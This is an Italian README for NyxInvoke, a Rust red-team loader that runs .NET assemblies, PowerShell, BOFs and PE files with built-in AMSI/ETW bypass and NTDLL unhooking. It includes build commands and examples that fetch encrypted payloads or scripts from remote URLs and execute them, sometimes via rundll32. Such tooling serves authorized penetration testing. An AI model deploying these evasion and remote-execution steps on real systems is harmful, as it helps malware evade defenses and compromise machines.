NyxInvoke

NyxInvoke è uno strumento versatile basato su Rust progettato per eseguire assembly .NET, comandi/script PowerShell, Beacon Object Files (BOF) e file PE, con funzionalità integrate di Ntdll Unhooking, bypass patchless di AMSI ed ETW. Può essere compilato sia come eseguibile standalone che come DLL.

Caratteristiche

• Eseguire assembly .NET
• Eseguire comandi o script PowerShell
• Caricare ed eseguire Beacon Object Files (BOF)
• Caricare ed eseguire file PE (EXE)
• Bypass patchless di AMSI (Anti-Malware Scan Interface) integrato
• Bypass patchless di ETW (Event Tracing for Windows) integrato
• Unhook di NTDLL integrato senza attivare la callback "PspCreateProcessNotifyRoutine"
• Supporto per payload crittografati con decrittografia AES
• Opzioni di input flessibili: file locali, URL o dati incorporati
• Supporto per doppia compilazione: può essere compilato come eseguibile o come DLL

Compilazione

NyxInvoke può essere compilato come eseguibile o come DLL. Usa i seguenti comandi:

Eseguibile

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features exe --bin NyxInvoke

DLL

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features dll --lib

Per includere dati CLR, BOF o PE incorporati, aggiungi le rispettive feature:

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=exe,compiled_clr,compiled_bof,compiled_pe --bin NyxInvoke

oppure

cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=dll,compiled_clr,compiled_bof,compiled_pe --lib

Utilizzo

Modalità Eseguibile

L'eseguibile supporta tre modalità principali di funzionamento:

1. Modalità CLR (esecuzione di assembly .NET)
2. Modalità PowerShell
3. Modalità BOF (esecuzione di Beacon Object File)
4. Modalità PE (esecuzione di file PE)

Sintassi Generale

NyxInvoke.exe <mode> [OPTIONS]

Dove <mode> è uno tra: clr, ps, bof o pe.

Modalità DLL

Quando compilato come DLL, NyxInvoke può essere eseguito tramite rundll32. La sintassi è:

rundll32.exe NyxInvoke.dll,NyxInvoke <mode> [OPTIONS]

Opzioni Specifiche per Modalità

1. Modalità CLR:

Execute Common Language Runtime (CLR) assemblies

Usage: NyxInvoke.exe clr [OPTIONS]

Options:
  -a, --args <ARGS>...            Arguments to pass to the assembly
  -b, --base <URL_OR_PATH>        Base URL or path for resources
  -k, --key <KEY_FILE>            Path to the encryption key file
  -i, --iv <IV_FILE>              Path to the initialization vector (IV) file
  -f, --assembly <ASSEMBLY_FILE>  Path or URL to the encrypted assembly file to execute
  -u, --unencrypted               Whether the assembly is unencrypted (default is encrypted)
  -h, --help                      Print help (see more with '--help')

Example: NyxInvoke.exe clr --assembly payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

2. Modalità BOF:

Execute Beacon Object Files (BOF)

Usage: NyxInvoke.exe bof [OPTIONS]

Options:
  -a, --args <ARGS>...      Arguments to pass to the BOF
  -b, --base <URL_OR_PATH>  Base URL or path for resources
  -k, --key <KEY_FILE>      Path to the encryption key file
  -i, --iv <IV_FILE>        Path to the initialization vector (IV) file
  -f, --bof <BOF_FILE>      Path or URL to the encrypted BOF file to execute
  -u, --unencrypted         Whether the BOF is unencrypted (default is encrypted)
  -h, --help                Print help (see more with '--help')

Example: NyxInvoke.exe bof --bof payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

3. Modalità PE:

Execute Portable Executable (PE) files

Usage: NyxInvoke.exe pe [OPTIONS]

Options:
  -a, --args <ARGS>...      Arguments to pass to the PE
  -b, --base <URL_OR_PATH>  Base URL or path for resources
  -k, --key <KEY_FILE>      Path to the encryption key file
  -i, --iv <IV_FILE>        Path to the initialization vector (IV) file
  -f, --pe <PE_FILE>        Path or URL to the encrypted PE file to execute
  -u, --unencrypted         Whether the PE is unencrypted (default is encrypted)
  -h, --help                Print help (see more with '--help')

Example: NyxInvoke.exe pe --pe payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"

4. Modalità PowerShell:

Execute PowerShell commands or scripts

Usage: NyxInvoke.exe ps [OPTIONS]

Options:
  -c, --command <PS_COMMAND>  PowerShell command to execute
  -s, --script <PS_SCRIPT>    Path or URL to the PowerShell script to execute
  -h, --help                  Print help (see more with '--help')

Examples:
NyxInvoke.exe ps --command "Get-Process"
NyxInvoke.exe ps --script script.ps1

Esempi

Modalità Eseguibile

1. Modalità CLR (esecuzione remota):

   root@kitploit:~

   NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. Modalità PowerShell (esecuzione di script):

   root@kitploit:~

   NyxInvoke.exe ps --script C:\path\to\script.ps1
   

3. Modalità BOF (esecuzione locale):

   root@kitploit:~

   NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
   

4. Modalità PE (esecuzione con file PE incorporato):

   root@kitploit:~

   NyxInvoke.exe pe --args arg1
   

Modalità DLL

1. Modalità CLR (esecuzione remota):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
   

2. Modalità PowerShell (esecuzione diretta di comandi):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
   

3. Modalità BOF (esecuzione con BOF incorporato):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
   

4. Modalità PE (esecuzione locale non crittografata):

   root@kitploit:~

   rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
   

Risorse di Test

Nella directory resources troverai diversi file per testare le funzionalità di NyxInvoke:

1. Assembly CLR crittografato (Seatbelt):

   • File: clr_data.enc
   • Descrizione: una versione crittografata dello strumento Seatbelt, un progetto C# per la raccolta di informazioni di sistema.
   • Esempio di utilizzo:
     root@kitploit:~

     NyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
     

2. BOF crittografato (elenco directory):

   • File: bof_data.enc
   • Descrizione: un Beacon Object File crittografato che elenca i permessi utente per il file specificato, con supporto dei caratteri jolly.
   • Esempio di utilizzo:
     root@kitploit:~

     NyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
     

3. PE crittografato (Message Box):

   • File: pe_data.enc
   • Descrizione: un file PE crittografato che mostra una finestra di messaggio.
   • Esempio di utilizzo:
     root@kitploit:~

     NyxInvoke.exe pe
     

4. PowerShell (Message Box):

   • File: ps.ps1
   • Descrizione: uno script PowerShell che mostra una finestra di messaggio.
   • Esempio di utilizzo:
     root@kitploit:~

     NyxInvoke.exe ps -s http://example.com/ps.ps1
     

Screenshot

• Esecuzione CLR compilata come DLL

• Esecuzione BOF remota da EXE

• Esecuzione EXE compilata come DLL

• Esecuzione script PowerShell da DLL

Avviso Legale

Questo strumento è destinato esclusivamente a scopi educativi e di test autorizzati. Assicurati di disporre delle autorizzazioni appropriate prima dell'uso in qualsiasi ambiente.

Crediti

• @yamakadi per il progetto clroxide
• @hakaioffsec per il progetto coffee